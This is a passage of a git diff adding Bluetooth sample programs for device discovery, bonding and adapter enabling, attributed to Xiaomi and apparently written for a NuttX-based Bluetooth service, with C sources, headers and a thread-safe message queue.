(node_t*)malloc(sizeof(node_t)); + if (node == NULL) { + LOGE("malloc failed."); + return; + } + + node->data.msg_type = APP_BT_GAP_ON_DISCOVERY_STATE_CHANGED; + node->data.gap_cb._on_discovery_state_changed.state = state; + + app_list_add_tail(&node->node); + + if (state == BT_DISCOVERY_STATE_STOPPED) + app_create_bond(); +} + +// gap callback +const static adapter_callbacks_t app_gap_cbs = { + .on_adapter_state_changed = gap_adapter_state_changed_callback, + .on_discovery_result = gap_discovery_result_callback, + .on_discovery_state_changed = gap_discovery_state_changed_callback, + .on_connection_state_changed = gap_connection_state_changed_callback, + .on_bond_state_changed = gap_bond_state_changed_callback, +}; + +/** + * @brief Initialize semaphore, mutex, message queue. + * + * @note Semaphores are used to control the number of concurrently executing threads. + * A semaphore has a counter, and threads need to acquire the semaphore before + * accessing a resource. When the semaphore counter is greater than 0, the thread + * can continue executing. When the semaphore counter is equal to 0, the thread + * needs to wait for other threads to release resources so that the semaphore + * counter can increase before it can continue executing. + * + * @note Mutex locks are used to protect shared resources, ensuring that only one thread + * can access the shared resource at a time, while other threads must wait until + * the lock is released by that thread before they can access it. + * + * @note Message queues is used to store events to be processed. When calling the Bluetooth + * synchronization interface, receiving and sending Bluetooth messages from the Bluetooth + * module should be done in different threads. + */ +static void app_demo_init(void) +{ + app_demo.running = 1; + sem_init(&app_demo.sem, 0, 1); + pthread_mutex_init(&app_demo.mutex, NULL); + list_initialize(&app_demo.message_queue); +} + +/** + * @brief Destroy semaphore, mutex, clear up message queue. + */ +static void app_demo_deinit(void) +{ + sem_destroy(&app_demo.sem); + pthread_mutex_destroy(&app_demo.mutex); + + node_t* entry = NULL; + node_t* temp_entry = NULL; + list_for_every_entry_safe(&app_demo.message_queue, entry, temp_entry, node_t, node) + { + list_delete(&entry->node); + free(entry); + } +} + +/** + * @brief The main thread processes events. + */ +static void app_handle_message(node_t* node) +{ + if (node == NULL) { + return; + } + + if (node->data.msg_type > APP_BT_GAP_MESSAGE_START && node->data.msg_type < APP_BT_GAP_MESSAGE_END) + demo_createbond_handle_gap_message(g_bt_ins, node); +} + +/** + * @brief Check the exit condition of the while loop in the main function. + * + * The condition for exiting the while loop can be multiple, but in this demo, + * only one scenario is provided: Bluetooth is turned off. + */ +static bool app_if_running(void) +{ + // Developers can add additional exit condition checks. + + return app_demo.running; +} + +int main(int argc, char* argv[]) +{ + node_t* node = NULL; + + // 1. Initialize semaphore; + // 2. Initialize mutex; + // 3. Initialize message queue. + app_demo_init(); + + // Create bluetooth client instance. + g_bt_ins = bluetooth_create_instance(); + if (g_bt_ins == NULL) { + LOGE("create instance error"); + goto error; + } + + // Register gap callback. + adapter_callback = bt_adapter_register_callback(g_bt_ins, &app_gap_cbs); + if (adapter_callback == NULL) { + LOGE("register callback error."); + goto error; + } + + // Enable bluetooth. + if (bt_adapter_enable(g_bt_ins) != BT_STATUS_SUCCESS) { + LOGE("enable adapter error."); + goto error; + } + + // The app main thread,is used to handle bluetooth events. + while (app_if_running()) { + // Obtain the msg to be processed. + node = app_list_remove_head(); + + // The main thread processes events. + app_handle_message(node); + } + +error: + // Unregister gap callback; + if (adapter_callback) { + bt_adapter_unregister_callback(g_bt_ins, adapter_callback); + adapter_callback = NULL; + } + + if (g_bt_ins) { + // Delete bluetooth client instance; + bluetooth_delete_instance(g_bt_ins); + g_bt_ins = NULL; + } + + // 1. Destroy semaphore; + // 2. Destroy mutex; + // 3. clean up message queue. + app_demo_deinit(); + + LOGI("Bluetooth closed."); + + return 0; +} \ No newline at end of file diff --git a/sample_code/createbond/createbond.h b/sample_code/createbond/createbond.h new file mode 100644 index 0000000000000000000000000000000000000000..6b0b723e4a7bca6b4f00fb1974596883c8339669 --- /dev/null +++ b/sample_code/createbond/createbond.h @@ -0,0 +1,75 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <nuttx/list.h> +#include <semaphore.h> +#include <stdio.h> +#include <stdlib.h> +#include <syslog.h> + +#include "app_bt_message_gap.h" +#include "bluetooth.h" +#include "bt_adapter.h" + +typedef enum { +#define __APP_BT_MESSAGE_CODE__ +#include "app_bt_message_gap.h" +#undef __APP_BT_MESSAGE_CODE__ +} app_bt_message_type_t; + +#define APP_LOG_TAG "app_demo" + +#define LOG_EMERG 0 /* system is unusable */ +#define LOG_ALERT 1 /* action must be taken immediately */ +#define LOG_CRIT 2 /* critical conditions */ +#define LOG_ERR 3 /* error conditions */ +#define LOG_WARNING 4 /* warning conditions */ +#define LOG_NOTICE 5 /* normal but significant condition */ +#define LOG_INFO 6 /* informational */ +#define LOG_DEBUG 7 /* debug-level messages */ + +#define LOGE(fmt, ...) syslog(LOG_ERR, "[" APP_LOG_TAG "]" \ + ": " fmt "\n", \ + ##__VA_ARGS__); +#define LOGW(fmt, ...) syslog(LOG_WARNING, "[" APP_LOG_TAG "]" \ + ": " fmt "\n", \ + ##__VA_ARGS__); +#define LOGI(fmt, ...) syslog(LOG_INFO, "[" APP_LOG_TAG "]" \ + ": " fmt "\n", \ + ##__VA_ARGS__); + +typedef struct { + uint32_t msg_type; + union { + app_bt_message_gap_t gap_req; + }; + union { + app_bt_message_gap_callbacks_t gap_cb; + }; +} app_demo_message_t; + +typedef struct { + struct list_node node; + app_demo_message_t data; +} node_t; + +typedef struct { + uint8_t running; + sem_t sem; + pthread_mutex_t mutex; + struct list_node message_queue; +} app_demo_t; + +void demo_createbond_handle_gap_message(bt_instance_t* g_bt_ins, node_t* node); \ No newline at end of file diff --git a/sample_code/discovery/app_bt_gap.c b/sample_code/discovery/app_bt_gap.c new file mode 100644 index 0000000000000000000000000000000000000000..a9c0a48989bac2c0ae109fad967b21acd8a74459 --- /dev/null +++ b/sample_code/discovery/app_bt_gap.c @@ -0,0 +1,45 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdio.h> +#include <stdlib.h> + +#include "discovery.h" + +void demo_discovery_handle_gap_message(bt_instance_t* g_bt_ins, node_t* node) +{ + app_demo_message_t* msg = &node->data; + switch (msg->msg_type) { + case APP_BT_GAP_START_DISCOVERY: + bt_adapter_start_discovery(g_bt_ins, msg->gap_req._bt_adapter_start_discovery.timeout); + break; + case APP_BT_GAP_ON_GAP_STATE_CHANGED: + LOGI("Adapter state changed: %d", msg->gap_cb._on_adapter_state_changed.state); + break; + case APP_BT_GAP_ON_DISCOVERY_STATE_CHANGED: + if (msg->gap_cb._on_discovery_state_changed.state == BT_DISCOVERY_STATE_STARTED) { + LOGI("Discovery started"); + break; + } + LOGI("Discovery stopped"); + // This sample code is used to test discovering nearby Bluetooth devices, + // so after the discovery process ends, Bluetooth is turned off. + bt_adapter_disable(g_bt_ins); + + break; + default: + break; + } +} \ No newline at end of file diff --git a/sample_code/discovery/app_bt_message_gap.h b/sample_code/discovery/app_bt_message_gap.h new file mode 100644 index 0000000000000000000000000000000000000000..2b567e2237746e11ccf437113f6bd76933d1850f --- /dev/null +++ b/sample_code/discovery/app_bt_message_gap.h @@ -0,0 +1,56 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifdef __APP_BT_MESSAGE_CODE__ +APP_BT_GAP_MESSAGE_START, + APP_BT_GAP_START_DISCOVERY, + APP_BT_GAP_ON_GAP_STATE_CHANGED, + APP_BT_GAP_ON_DISCOVERY_RESULT, + APP_BT_GAP_ON_DISCOVERY_STATE_CHANGED, + APP_BT_GAP_MESSAGE_END, +#endif + +#ifndef _BT_MESSAGE_ADAPTER_H__ +#define _BT_MESSAGE_ADAPTER_H__ + +#define BT_NAME_LENGTH 64 + +#ifdef __cplusplus + extern "C" +{ +#endif + +#include "bt_adapter.h" + + typedef union { + struct { + uint32_t timeout; + } _bt_adapter_start_discovery; + } app_bt_message_gap_t; + + typedef union { + struct { + uint8_t state; /* bt_adapter_state_t */ + } _on_adapter_state_changed; + + struct { + uint8_t state; /* bt_discovery_state_t */ + } _on_discovery_state_changed; + } app_bt_message_gap_callbacks_t; +#ifdef __cplusplus +} +#endif + +#endif /* _BT_MESSAGE_ADAPTER_H__ */ \ No newline at end of file diff --git a/sample_code/discovery/discovery.c b/sample_code/discovery/discovery.c new file mode 100644 index 0000000000000000000000000000000000000000..a5de5452f5b284ef702c376dc6a03f03faf42d43 --- /dev/null +++ b/sample_code/discovery/discovery.c @@ -0,0 +1,287 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdio.h> +#include <stdlib.h> + +#include "discovery.h" + +static bt_instance_t* g_bt_ins = NULL; +static void* adapter_callback = NULL; +static app_demo_t app_demo; + +/** + * @brief Block the current thread and wait to be woken up. + */ +static void wait_awakened(void) +{ + sem_wait(&app_demo.sem); +} + +/** + * @brief Wake up the main thread of the app. + */ +static void wakeup_thread(void) +{ + sem_post(&app_demo.sem); +} + +/** + * @brief Add a node to the message queue. + */ +static void app_list_add_tail(struct list_node* node) +{ + pthread_mutex_lock(&app_demo.mutex); + list_add_tail(&app_demo.message_queue, node); + pthread_mutex_unlock(&app_demo.mutex); + wakeup_thread(); +} + +/** + * @brief Remove the head node of the message queue. + */ +static node_t* app_list_remove_head(void) +{ + node_t* node_data; + + wait_awakened(); + + pthread_mutex_lock(&app_demo.mutex); + struct list_node* node = list_remove_head(&app_demo.message_queue); + pthread_mutex_unlock(&app_demo.mutex); + if (node == NULL) { + return NULL; + } + + node_data = list_entry(node, node_t, node); + return node_data; +} + +/** + * @brief Discover nearby Bluetooth devices. + */ +static void app_bt_discovery(void) +{ + node_t* node = (node_t*)malloc(sizeof(node_t)); + if (node == NULL) { + LOGE("malloc failed."); + return; + } + + node->data.msg_type = APP_BT_GAP_START_DISCOVERY; + node->data.gap_req._bt_adapter_start_discovery.timeout = 2; + app_list_add_tail(&node->node); +} + +/** + * @brief Adapter state change callback. + * + * This function is executed in the bt_client thread, the app needs to handle the callback + * in another thread. + */ +static void gap_adapter_state_changed_callback(void* cookie, bt_adapter_state_t state) +{ + if (state != BT_ADAPTER_STATE_ON && state != BT_ADAPTER_STATE_OFF) + return; + + node_t* node = (node_t*)malloc(sizeof(node_t)); + if (node == NULL) { + LOGE("malloc failed."); + return; + } + + node->data.msg_type = APP_BT_GAP_ON_GAP_STATE_CHANGED; + node->data.gap_cb._on_adapter_state_changed.state = state; + app_list_add_tail(&node->node); + + if (state == BT_ADAPTER_STATE_ON) + app_bt_discovery(); + else if (state == BT_ADAPTER_STATE_OFF) + app_demo.running = 0; +} + +/** + * @brief Discovery result callback. + * + * This function is executed in the bt_client thread, the app needs to handle the callback + * in another thread. + */ +static void gap_discovery_result_callback(void* cookie, bt_discovery_result_t* remote) +{ + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + bt_addr_ba2str(&remote->addr, addr_str); + + LOGI("Discovery result: device [%s], name: %s, code: %08x, is HEADSET: %s, rssi: %d\n", + addr_str, remote->name, remote->cod, + IS_HEADSET(remote->cod) ? "true" : "false", + remote->rssi); +} + +/** + * @brief Discovery state change callback. + * + * This function is executed in the bt_client thread, the app needs to handle the callback + * in another thread. + */ +static void gap_discovery_state_changed_callback(void* cookie, bt_discovery_state_t state) +{ + node_t* node = (node_t*)malloc(sizeof(node_t)); + if (node == NULL) { + LOGE("malloc failed."); + return; + } + + node->data.msg_type = APP_BT_GAP_ON_DISCOVERY_STATE_CHANGED; + node->data.gap_cb._on_discovery_state_changed.state = state; + + app_list_add_tail(&node->node); +} + +// gap callback +const static adapter_callbacks_t app_gap_cbs = { + .on_adapter_state_changed = gap_adapter_state_changed_callback, + .on_discovery_result = gap_discovery_result_callback, + .on_discovery_state_changed = gap_discovery_state_changed_callback, +}; + +/** + * @brief Initialize semaphore, mutex, message queue. + * + * @note Semaphores are used to control the number of concurrently executing threads. + * A semaphore has a counter, and threads need to acquire the semaphore before + * accessing a resource. When the semaphore counter is greater than 0, the thread + * can continue executing. When the semaphore counter is equal to 0, the thread + * needs to wait for other threads to release resources so that the semaphore + * counter can increase before it can continue executing. + * + * @note Mutex locks are used to protect shared resources, ensuring that only one thread + * can access the shared resource at a time, while other threads must wait until + * the lock is released by that thread before they can access it. + * + * @note Message queues is used to store events to be processed. When calling the Bluetooth + * synchronization interface, receiving and sending Bluetooth messages from the Bluetooth + * module should be done in different threads. + */ +static void app_demo_init(void) +{ + app_demo.running = 1; + sem_init(&app_demo.sem, 0, 1); + pthread_mutex_init(&app_demo.mutex, NULL); + list_initialize(&app_demo.message_queue); +} + +/** + * @brief Destroy semaphore, mutex, clear up message queue. + */ +static void app_demo_deinit(void) +{ + sem_destroy(&app_demo.sem); + pthread_mutex_destroy(&app_demo.mutex); + + node_t* entry = NULL; + node_t* temp_entry = NULL; + list_for_every_entry_safe(&app_demo.message_queue, entry, temp_entry, node_t, node) + { + list_delete(&entry->node); + free(entry); + } +} + +/** + * @brief The main thread processes events. + */ +static void app_handle_message(node_t* node) +{ + if (node == NULL) { + return; + } + + if (node->data.msg_type > APP_BT_GAP_MESSAGE_START && node->data.msg_type < APP_BT_GAP_MESSAGE_END) + demo_discovery_handle_gap_message(g_bt_ins, node); +} + +/** + * @brief Check the exit condition of the while loop in the main function. + * + * The condition for exiting the while loop can be multiple, but in this demo, + * only one scenario is provided: Bluetooth is turned off. + */ +static bool app_if_running(void) +{ + // Developers can add additional exit condition checks. + + return app_demo.running; +} + +int main(int argc, char* argv[]) +{ + node_t* node = NULL; + + // 1. Initialize semaphore; + // 2. Initialize mutex; + // 3. Initialize message queue. + app_demo_init(); + + // Create bluetooth client instance. + g_bt_ins = bluetooth_create_instance(); + if (g_bt_ins == NULL) { + LOGE("create instance error"); + goto error; + } + + // Register gap callback. + adapter_callback = bt_adapter_register_callback(g_bt_ins, &app_gap_cbs); + if (adapter_callback == NULL) { + LOGE("register callback error."); + goto error; + } + + // Enable bluetooth. + if (bt_adapter_enable(g_bt_ins) != BT_STATUS_SUCCESS) { + LOGE("enable adapter error."); + goto error; + } + + // The app main thread,is used to handle bluetooth events. + while (app_if_running()) { + // Obtain the msg to be processed. + node = app_list_remove_head(); + + // The main thread processes events. + app_handle_message(node); + } + +error: + // Unregister gap callback; + if (adapter_callback) { + bt_adapter_unregister_callback(g_bt_ins, adapter_callback); + adapter_callback = NULL; + } + + if (g_bt_ins) { + // Delete bluetooth client instance; + bluetooth_delete_instance(g_bt_ins); + g_bt_ins = NULL; + } + + // 1. Destroy semaphore; + // 2. Destroy mutex; + // 3. clean up message queue. + app_demo_deinit(); + + LOGI("Bluetooth closed."); + + return 0; +} \ No newline at end of file diff --git a/sample_code/discovery/discovery.h b/sample_code/discovery/discovery.h new file mode 100644 index 0000000000000000000000000000000000000000..d8c9c7375a99302d1a9496afd231a0006e77ff31 --- /dev/null +++ b/sample_code/discovery/discovery.h @@ -0,0 +1,75 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <nuttx/list.h> +#include <semaphore.h> +#include <stdio.h> +#include <stdlib.h> +#include <syslog.h> + +#include "app_bt_message_gap.h" +#include "bluetooth.h" +#include "bt_adapter.h" + +typedef enum { +#define __APP_BT_MESSAGE_CODE__ +#include "app_bt_message_gap.h" +#undef __APP_BT_MESSAGE_CODE__ +} app_bt_message_type_t; + +#define APP_LOG_TAG "app_demo" + +#define LOG_EMERG 0 /* system is unusable */ +#define LOG_ALERT 1 /* action must be taken immediately */ +#define LOG_CRIT 2 /* critical conditions */ +#define LOG_ERR 3 /* error conditions */ +#define LOG_WARNING 4 /* warning conditions */ +#define LOG_NOTICE 5 /* normal but significant condition */ +#define LOG_INFO 6 /* informational */ +#define LOG_DEBUG 7 /* debug-level messages */ + +#define LOGE(fmt, ...) syslog(LOG_ERR, "[" APP_LOG_TAG "]" \ + ": " fmt "\n", \ + ##__VA_ARGS__); +#define LOGW(fmt, ...) syslog(LOG_WARNING, "[" APP_LOG_TAG "]" \ + ": " fmt "\n", \ + ##__VA_ARGS__); +#define LOGI(fmt, ...) syslog(LOG_INFO, "[" APP_LOG_TAG "]" \ + ": " fmt "\n", \ + ##__VA_ARGS__); + +typedef struct { + uint32_t msg_type; + union { + app_bt_message_gap_t gap_req; + }; + union { + app_bt_message_gap_callbacks_t gap_cb; + }; +} app_demo_message_t; + +typedef struct { + struct list_node node; + app_demo_message_t data; +} node_t; + +typedef struct { + uint8_t running; + sem_t sem; + pthread_mutex_t mutex; + struct list_node message_queue; +} app_demo_t; + +void demo_discovery_handle_gap_message(bt_instance_t* g_bt_ins, node_t* node); \ No newline at end of file diff --git a/sample_code/enable/app_bt_gap.c b/sample_code/enable/app_bt_gap.c new file mode 100644 index 0000000000000000000000000000000000000000..3dba1fbc05308141f02bef7a20073542a825e2b1 --- /dev/null +++ b/sample_code/enable/app_bt_gap.c @@ -0,0 +1,37 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdio.h> +#include <stdlib.h> + +#include "enable.h" + +void demo_enable_handle_gap_message(bt_instance_t* g_bt_ins, node_t* node) +{ + app_demo_message_t* msg = &node->data; + switch (msg->msg_type) { + case APP_BT_GAP_ON_GAP_STATE_CHANGED: + LOGI("Adapter state changed: %d", msg->gap_cb._on_adapter_state_changed.state); + if (msg->gap_cb._on_adapter_state_changed.state == BT_ADAPTER_STATE_ON) { + // This sample code is used to test opening Bluetooth, + // so after Bluetooth is turned on, turn off Bluetooth. + bt_adapter_disable(g_bt_ins); + } else if (msg->gap_cb._on_adapter_state_changed.state == BT_ADAPTER_STATE_OFF) { + } + break; + default: + break; + } +} \ No newline at end of file diff --git a/sample_code/enable/app_bt_message_gap.h b/sample_code/enable/app_bt_message_gap.h new file mode 100644 index 0000000000000000000000000000000000000000..c89388193f2aa3c7c61c6230ecb150e0f1cd5e55 --- /dev/null +++ b/sample_code/enable/app_bt_message_gap.h @@ -0,0 +1,51 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifdef __APP_BT_MESSAGE_CODE__ +APP_BT_GAP_MESSAGE_START, + APP_BT_GAP_DISABLE, + APP_BT_GAP_GET_NAME, + APP_BT_GAP_SET_SCANMODE, + APP_BT_GAP_SET_IO_CAPABILITY, + APP_BT_GAP_ON_GAP_STATE_CHANGED, + APP_BT_GAP_MESSAGE_END, +#endif + +#ifndef _BT_MESSAGE_ADAPTER_H__ +#define _BT_MESSAGE_ADAPTER_H__ + +#define BT_NAME_LENGTH 64 + +#ifdef __cplusplus + extern "C" +{ +#endif + +#include "bt_adapter.h" + + typedef union { + + } app_bt_message_gap_t; + + typedef union { + struct { + uint8_t state; /* bt_adapter_state_t */ + } _on_adapter_state_changed; + } app_bt_message_gap_callbacks_t; +#ifdef __cplusplus +} +#endif + +#endif /* _BT_MESSAGE_ADAPTER_H__ */ \ No newline at end of file diff --git a/sample_code/enable/enable.c b/sample_code/enable/enable.c new file mode 100644 index 0000000000000000000000000000000000000000..bcf55fe3e14c2efa4ae07b9eff996184f8ed308c --- /dev/null +++ b/sample_code/enable/enable.c @@ -0,0 +1,230 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdio.h> +#include <stdlib.h> + +#include "enable.h" + +static bt_instance_t* g_bt_ins = NULL; +static void* adapter_callback = NULL; +static app_demo_t app_demo; + +/** + * @brief Block the current thread and wait to be woken up. + */ +static void wait_awakened(void) +{ + sem_wait(&app_demo.sem); +} + +/** + * @brief Wake up the main thread of the app. + */ +static void wakeup_thread(void) +{ + sem_post(&app_demo.sem); +} + +/** + * @brief Add a node to the message queue. + */ +static void app_list_add_tail(struct list_node* node) +{ + pthread_mutex_lock(&app_demo.mutex); + list_add_tail(&app_demo.message_queue, node); + pthread_mutex_unlock(&app_demo.mutex); + wakeup_thread(); +} + +/** + * @brief Remove the head node of the message queue. + */ +static node_t* app_list_remove_head(void) +{ + node_t* node_data; + + wait_awakened(); + + pthread_mutex_lock(&app_demo.mutex); + struct list_node* node = list_remove_head(&app_demo.message_queue); + pthread_mutex_unlock(&app_demo.mutex); + if (node == NULL) { + return NULL; + } + + node_data = list_entry(node, node_t, node); + return node_data; +} + +/** + * @brief Adapter state change callback. + * + * This function is executed in the bt_client thread, the app needs to handle the callback + * in another thread. + */ +static void gap_adapter_state_changed_callback(void* cookie, bt_adapter_state_t state) +{ + node_t* node = (node_t*)malloc(sizeof(node_t)); + if (node == NULL) { + LOGE("malloc failed."); + return; + } + + node->data.msg_type = APP_BT_GAP_ON_GAP_STATE_CHANGED; + node->data.gap_cb._on_adapter_state_changed.state = state; + app_list_add_tail(&node->node); + + if (state == BT_ADAPTER_STATE_ON) { + + } else if (state == BT_ADAPTER_STATE_OFF) { + app_demo.running = 0; + } +} + +// gap callback +const static adapter_callbacks_t app_gap_cbs = { + .on_adapter_state_changed = gap_adapter_state_changed_callback, +}; + +/** + * @brief Initialize semaphore, mutex, message queue. + * + * @note Semaphores are used to control the number of concurrently executing threads. + * A semaphore has a counter, and threads need to acquire the semaphore before + * accessing a resource. When the semaphore counter is greater than 0, the thread + * can continue executing. When the semaphore counter is equal to 0, the thread + * needs to wait for other threads to release resources so that the semaphore + * counter can increase before it can continue executing. + * + * @note Mutex locks are used to protect shared resources, ensuring that only one thread + * can access the shared resource at a time, while other threads must wait until + * the lock is released by that thread before they can access it. + * + * @note Message queues is used to store events to be processed. When calling the Bluetooth + * synchronization interface, receiving and sending Bluetooth messages from the Bluetooth + * module should be done in different threads. + */ +static void app_demo_init(void) +{ + app_demo.running = 1; + sem_init(&app_demo.sem, 0, 1); + pthread_mutex_init(&app_demo.mutex, NULL); + list_initialize(&app_demo.message_queue); +} + +/** + * @brief Destroy semaphore, mutex, clear up message queue. + */ +static void app_demo_deinit(void) +{ + sem_destroy(&app_demo.sem); + pthread_mutex_destroy(&app_demo.mutex); + + node_t* entry = NULL; + node_t* temp_entry = NULL; + list_for_every_entry_safe(&app_demo.message_queue, entry, temp_entry, node_t, node) + { + list_delete(&entry->node); + free(entry); + } +} + +/** + * @brief The main thread processes events. + */ +static void app_handle_message(node_t* node) +{ + if (node == NULL) { + return; + } + + if (node->data.msg_type > APP_BT_GAP_MESSAGE_START && node->data.msg_type < APP_BT_GAP_MESSAGE_END) + demo_enable_handle_gap_message(g_bt_ins, node); +} + +/** + * @brief Check the exit condition of the while loop in the main function. + * + * The condition for exiting the while loop can be multiple, but in this demo, + * only one scenario is provided: Bluetooth is turned off. + */ +static bool app_if_running(void) +{ + // Developers can add additional exit condition checks. + + return app_demo.running; +} + +int main(int argc, char* argv[]) +{ + node_t* node = NULL; + + // 1. Initialize semaphore; + // 2. Initialize mutex; + // 3. Initialize message queue. + app_demo_init(); + + // Create bluetooth client instance. + g_bt_ins = bluetooth_create_instance(); + if (g_bt_ins == NULL) { + LOGE("create instance error"); + goto error; + } + + // Register gap callback. + adapter_callback = bt_adapter_register_callback(g_bt_ins, &app_gap_cbs); + if (adapter_callback == NULL) { + LOGE("register callback error."); + goto error; + } + + // Enable bluetooth. + if (bt_adapter_enable(g_bt_ins) != BT_STATUS_SUCCESS) { + LOGE("enable adapter error."); + goto error; + } + + // The app main thread,is used to handle bluetooth events. + while (app_if_running()) { + // Obtain the msg to be processed. + node = app_list_remove_head(); + + // The main thread processes events. + app_handle_message(node); + } + +error: + // Unregister gap callback; + if (adapter_callback) { + bt_adapter_unregister_callback(g_bt_ins, adapter_callback); + adapter_callback = NULL; + } + + if (g_bt_ins) { + // Delete bluetooth client instance; + bluetooth_delete_instance(g_bt_ins); + g_bt_ins = NULL; + } + + // 1. Destroy semaphore; + // 2. Destroy mutex; + // 3. clean up message queue. + app_demo_deinit(); + + LOGI("Bluetooth closed."); + + return 0; +} \ No newline at end of file diff --git a/sample_code/enable/enable.h b/sample_code/enable/enable.h new file mode 100644 index 0000000000000000000000000000000000000000..2843bca93564836454330793eeebcfcd64f6bdec --- /dev/null +++ b/sample_code/enable/enable.h @@ -0,0 +1,75 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <nuttx/list.h> +#include <semaphore.h> +#include <stdio.h> +#include <stdlib.h> +#include <syslog.h> + +#include "app_bt_message_gap.h" +#include "bluetooth.h" +#include "bt_adapter.h" + +typedef enum { +#define __APP_BT_MESSAGE_CODE__ +#include "app_bt_message_gap.h" +#undef __APP_BT_MESSAGE_CODE__ +} app_bt_message_type_t; + +#define APP_LOG_TAG "app_demo" + +#define LOG_EMERG 0 /* system is unusable */ +#define LOG_ALERT 1 /* action must be taken immediately */ +#define LOG_CRIT 2 /* critical conditions */ +#define LOG_ERR 3 /* error conditions */ +#define LOG_WARNING 4 /* warning conditions */ +#define LOG_NOTICE 5 /* normal but significant condition */ +#define LOG_INFO 6 /* informational */ +#define LOG_DEBUG 7 /* debug-level messages */ + +#define LOGE(fmt, ...) syslog(LOG_ERR, "[" APP_LOG_TAG "]" \ + ": " fmt "\n", \ + ##__VA_ARGS__); +#define LOGW(fmt, ...) syslog(LOG_WARNING, "[" APP_LOG_TAG "]" \ + ": " fmt "\n", \ + ##__VA_ARGS__); +#define LOGI(fmt, ...) syslog(LOG_INFO, "[" APP_LOG_TAG "]" \ + ": " fmt "\n", \ + ##__VA_ARGS__); + +typedef struct { + uint32_t msg_type; + union { + app_bt_message_gap_t gap_req; + }; + union { + app_bt_message_gap_callbacks_t gap_cb; + }; +} app_demo_message_t; + +typedef struct { + struct list_node node; + app_demo_message_t data; +} node_t; + +typedef struct { + uint8_t running; + sem_t sem; + pthread_mutex_t mutex; + struct list_node message_queue; +} app_demo_t; + +void demo_enable_handle_gap_message(bt_instance_t* g_bt_ins, node_t* node); \ No newline at end of file diff --git a/service/common/bluetooth_define.h b/service/common/bluetooth_define.h new file mode 100644 index 0000000000000000000000000000000000000000..3cbe8f4bb0a4a46611af21aedb593454e69575d7 --- /dev/null +++ b/service/common/bluetooth_define.h @@ -0,0 +1,108 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * 